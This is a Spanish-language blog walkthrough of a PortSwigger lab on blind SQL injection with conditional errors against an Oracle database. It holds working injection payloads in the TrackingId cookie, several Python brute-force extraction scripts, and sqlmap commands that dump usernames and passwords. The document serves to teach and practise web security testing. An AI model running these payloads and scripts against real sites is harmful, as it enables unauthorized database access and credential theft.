Entrada

SQLI Lab 12

SQLI Lab 12

Skills

  • Blind SQL injection with conditional errors

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de Blind SQL Injection. La web utiliza una cookie de seguimiento para analíticas y realiza una consulta SQL que incluye el valor de la cookie enviada. Los resultados de la consulta SQL no se devuelven, sin embargo, si la consulta SQL genera un error, la aplicación devuelve un mensaje de error personalizado. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debemos explotar la Blind SQL Inyectiion para averiguar la contraseña del usuario administrador. Para resolver el laboratorio, hay que inicia sesión como el usuario administrador


Resolución

Al acceder a la web nos sale esto

Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId

Si enviamos una petición normal a la web no notaremos nada extraño, sin embargo, si añadimos una ' al en el campo TrackingId nos arrojará un internal server error, esto quiere decir que podemos hemos logrado interferir en la consulta SQL que se está tramitando. Esto se debe a que la consulta que se está haciendo por detrás es la siguiente

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Si en el campo cookie efectuamos esta inyección ' or 1=1-- - , también funcionaría usar ' and 1=1-- - , otra alternativa sería usar '|| (select '' from dual) ||', de esta forma evitamos comentar la query y estamos concatenando nuestra query con la existente . El internal server error ya no aparece, esto es debido a que ya no se está produciendo ese error. Para obtener el número de columnas existentes usamos un order by, en este caso sabemos que hay una columna, debido a que si hacemos order by 2 o superior nos arroja un error

1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+order+by+1--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn

Obtenemos el tipo de base de datos que se está empleando, la cual es Oracle, esto lo sabemos porque al debemos añadir from dual al final de la consulta para evitar errores

1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+union+select+null+from+dual--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn

He probado a verificar si había alguna diferencia entre usar or y and en consultas como ' or (select 'a' from dual)='b'-- - y no hay diferencia alguna. Independientemente del operador utilizado al comparar dos strings, da igual que no sean iguales, no nos arroja ningún error. Por lo tanto no vamos a poder utilizar substr(), o length() para obtener la longitud y posteriormente bruteforcear carácter por carácter

Debido a que no se produce ningún error, podemos usar esta query para provocarlo nosotros. Funciona de la siguiente forma, lo primero que comprueba es select from dual y si esa consulta es válida y no produce errores se dirige al case case when (1=1) then to_char(1/0) else '' end. En el case lo que hace es, en caso de que (1=1) sea cierto genere un error mediante to_char(1/0) y si no es cierto que se vaya a la parte del else y no genere ningún error. El nombre de la columna no es obligatorio en el SELECT cuando se utilizan expresiones como CASE, porque Oracle genera un alias automáticamente para la columna calculada

1
Cookie: TrackingId=mSNHzn6Uz17ftRBH'||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+dual)+||'; session=JUBiNvas8e5LhVOxp3vSewIFA0Se9qsx

Una vez tenemos esta forma, ahora podemos listar la longitud de la versión, si enviamos este payload los devolverá un error, esto significa que está funcionando. Si cambiamos la condición > 1 por = 1 la web nos responderá con un 200 OK, esto es porque la consulta está bien formulada, de lo contrario nos devolvería un error en todas las ocasiones

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(banner, ' ') within group (order by banner) from v$version)) > 1) then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD

Identificamos que la longitud de la versión de Oracle es de 225 caracteres

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(banner, ' ') within group (order by banner) from v$version)) = 225) then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD

Con esta otra consulta podremos obtener la versión de Oracle, se puede hacer con un ataque Cluster bomb desde Burpsuite o mediante un script en python

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD

Para poder dumpear datos vamos a utilizar todos los caracteres imprimibles de la librería string de python

1
2
3
4
5
6
7
8
(pythonProject) PS C:\Users\Sergio\PycharmProjects\pythonProject> python
Python 3.11.10 | packaged by Anaconda, Inc. | (main, Oct  3 2024, 07:22:26) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

Como vamos a iterar para a eliminar los caracteres que se repiten

1
2
3
4
5
6
#!/usr/bin/python3

import string

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
print(characters)
1
2
# python print_characters.py
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 	

Debido a que el Cluster bomb de Burpsuite no es tan cómodo usarlo, vamos a usar python para que nos dumpee el output completo de la instrucción version(). Lo primero que debemos hacer es instalar pwntools

1
2
3
4
# sudo apt-get update
# sudo apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
# python3 -m pip install --upgrade pip --break-system-packages
# python3 -m pip install --upgrade pwntools --break-system-packages

He creado este script en python el cual nos permitirá bruteforcear carácter por carácter la versión de base de datos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a5e00cf03a81efd83b2324e003400fd.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 226):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if r.status_code == 500:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Vemos que nos encontramos ante una base de datos de Oracle

1
2
3
# python sqli_conditional_error.py 
[q] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), 225, 1) = 'n') then to_char(1
[p] Output: CORE%11%2%0%2%0%Production%NLSRTL%Version%11%2%0%2%0%%%Production%Oracle%Database%11g%Express%Edition%Release%11%2%0%2%0%%%64bit%Production%PL%SQL%Release%11%2%0%2%0%%%Production%TNS%for%Linux%%Version%11%2%0%2%0%%%Production

Para verlo más claramente podemos aplicar una sustitución

1
2
# echo 'CORE%11%2%0%2%0%Production%NLSRTL%Version%11%2%0%2%0%%%Production%Oracle%Database%11g%Express%Edition%Release%11%2%0%2%0%%%64bit%Production%PL%SQL%Release%11%2%0%2%0%%%Production%TNS%for%Linux%%Version%11%2%0%2%0%%%Production' | tr '%' ' '
CORE 11 2 0 2 0 Production NLSRTL Version 11 2 0 2 0   Production Oracle Database 11g Express Edition Release 11 2 0 2 0   64bit Production PL SQL Release 11 2 0 2 0   Production TNS for Linux  Version 11 2 0 2 0   Production

Obtenemos el la longitud de todos los propietarios

1
Cookie: TrackingId=lnS9gSlm0CA61ePa'||(select case when (length((select listagg(owner, ' ') within group (order by owner) from all_tables)) = 422) then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX

Vamos a utilizar este payload para obtener a los propietarios

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX

Vamos a usar este script para iterar sobre el payload anterior para obtener el nombre de todos los propietarios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a03001f0321a894846b408000610088.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 423):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if r.status_code == 500:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Ejecutamos el script y obtenemos todos los propietarios

1
2
3
# python sqli_conditional_error.py 
[◐] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), 1, 1) = '0') then to_char(1/0
[↗] Output: SYSTEM%SYSTEM%XDB%PETER%APEX_040000%MDSYS%XDB%XDB%SYS%SYSTEM%SYS%MDSYS%CTXSYS%SYS%APEX_040000%APEX_040000%CTXSYS%SYSTEM%SYS%CTXSYS%SYSTEM%SYSTEM%XDB%SYSTEM%SYSTEM%MDSYS%MDSYS%SYS%CTXSYS%MDSYS%XDB%SYS%MDSYS%SYS%MDSYS%CTXSYS%APEX_040000%PETER%APEX_040000%MDSYS%XDB%XDB%MDSYS%XDB%PETER%MDSYS%APEX_040000%XDB%SYS%SYS%XDB%APEX_040000%CTXSYS%SYS%SYSTEM%SYS%CTXSYS%CTXSYS%SYSTEM%CTXSYS%PETER%CTXSYS%XDB%XDB%APEX_040000%APEX_04000

Para que se vea más claramente vamos a sustituir el % por un salto de línea y vamos a eliminar los duplicados

1
2
3
4
5
6
7
8
echo 'SYSTEM%SYSTEM%XDB%PETER%APEX_040000%MDSYS%XDB%XDB%SYS%SYSTEM%SYS%MDSYS%CTXSYS%SYS%APEX_040000%APEX_040000%CTXSYS%SYSTEM%SYS%CTXSYS%SYSTEM%SYSTEM%XDB%SYSTEM%SYSTEM%MDSYS%MDSYS%SYS%CTXSYS%MDSYS%XDB%SYS%MDSYS%SYS%MDSYS%CTXSYS%APEX_040000%PETER%APEX_040000%MDSYS%XDB%XDB%MDSYS%XDB%PETER%MDSYS%APEX_040000%XDB%SYS%SYS%XDB%APEX_040000%CTXSYS%SYS%SYSTEM%SYS%CTXSYS%CTXSYS%SYSTEM%CTXSYS%PETER%CTXSYS%XDB%XDB%APEX_040000%APEX_040000' | tr '%' '\n' | sort -u   
APEX_040000
CTXSYS
MDSYS
PETER
SYS
SYSTEM
XDB

Para identificar las tablas cuyo propietario es PETER, primero necesitamos obtener la longitud de estas tablas y para eso usamos este payload

1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER')) > 1) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc

Obtenemos que la longitud es de 14 caracteres

1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER')) = 14) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc

Vamos a usar ahora este otro payload para obtener los caracteres

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX

Este script de python itera sobre el payload anterior y nos devuelve el nombre de las tablas que tiene el usuario propietario PETER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a03001f0321a894846b408000610088.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 15):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if r.status_code == 500:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos las tablas

1
2
3
# python sqli_conditional_error.py                                  
[p] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'
[↖] Output: TRACKING%USERS

A continuación vamos a listar la longitud de las columnas de la tabla USERS cuyo propietario es PETER

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER')) > 1) then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX

La longitud es de 23 caracteres

1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER')) = 23) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc

Vamos a usar ahora este payload para obtener los caracteres

1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER'), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX

Con este script en python iteramos sobre el payload anterior y obtenemos el nombre de las columnas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a9e000503c4fd2988837a8f00b100ba.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 24):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER'), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if r.status_code == 500:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos las columnas

1
2
3
# python sqli_conditional_error.py                                  
[▝] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_na
[█] Output: EMAIL%PASSWORD%USERNAME

Usamos este payload para obtener la longitud contenido de las columnas USERNAME y PASSWORD de la tabla USERS cuyo propietario es PETER

1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (length((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS)) > 1) then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb

Obtenemos que 90 es la longitud

1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (length((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS)) = 90) then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb

Usamos este payload para obtener los caracteres de las columnas

1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb

Con este script vamos a iterar sobre el payload anterior para obtener el contenido de las columnas USERNAME y PASSWORD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig,frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a9e000503c4fd2988837a8f00b100ba.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(1, 91):
            for character in characters:
                cookies = {
                    'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
                    'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
                }

                p1.status(cookies['TrackingId'][:150])

                r = requests.get(url, cookies=cookies)

                if r.status_code == 500:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos los nombres de usuario y sus contraseñas

1
2
3
# python sqli_conditional_error.py
[o] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), 90, 1) = '9')
[┤] Output: administrator%o8o2ftyyxe50qjus5ekp%carlos%nd3ci79kfb08kv2i4azn%wiener%hwxs7o9pmdwyu3i1cf39

También podemos obtener las credenciales usando sqlmap, para ello, lo primero es listar a los propietarios

1
2
3
4
5
6
7
8
9
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" --threads 2
available databases [7]:
[*] "SYSTEM"
[*] APEX_040000
[*] CTXSYS
[*] MDSYS
[*] PETER
[*] SYS
[*] XDB

Listamos las tablas del propietario PETER

1
2
3
4
5
6
7
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER --tables --threads 2 
Database: PETER
[2 tables]
+----------+
| TRACKING |
| USERS    |
+----------+

Listamos las columnas de la tabla USERS

1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER -T USERS --columns --threads 2
Database: PETER
Table: USERS
[3 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| EMAIL    | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| USERNAME | VARCHAR2 |
+----------+----------+

Listamos el contenido de las columnas USERNAME y PASSWORD

1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER -T USERS -C USERNAME,PASSWORD --dump --threads 2     
Database: PETER
Table: USERS
[3 entries]
+---------------+----------------------+
| USERNAME      | PASSWORD             |
+---------------+----------------------+
| administrator | xjuxt7s1x0qt838i0tg5 |
| wiener        | q6l6ukh8q4a35mimkcdn |
| carlos        | ya8sfgeqqbyr0a5ry95w |
+---------------+----------------------+

Nos logueamos con las credenciales de administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.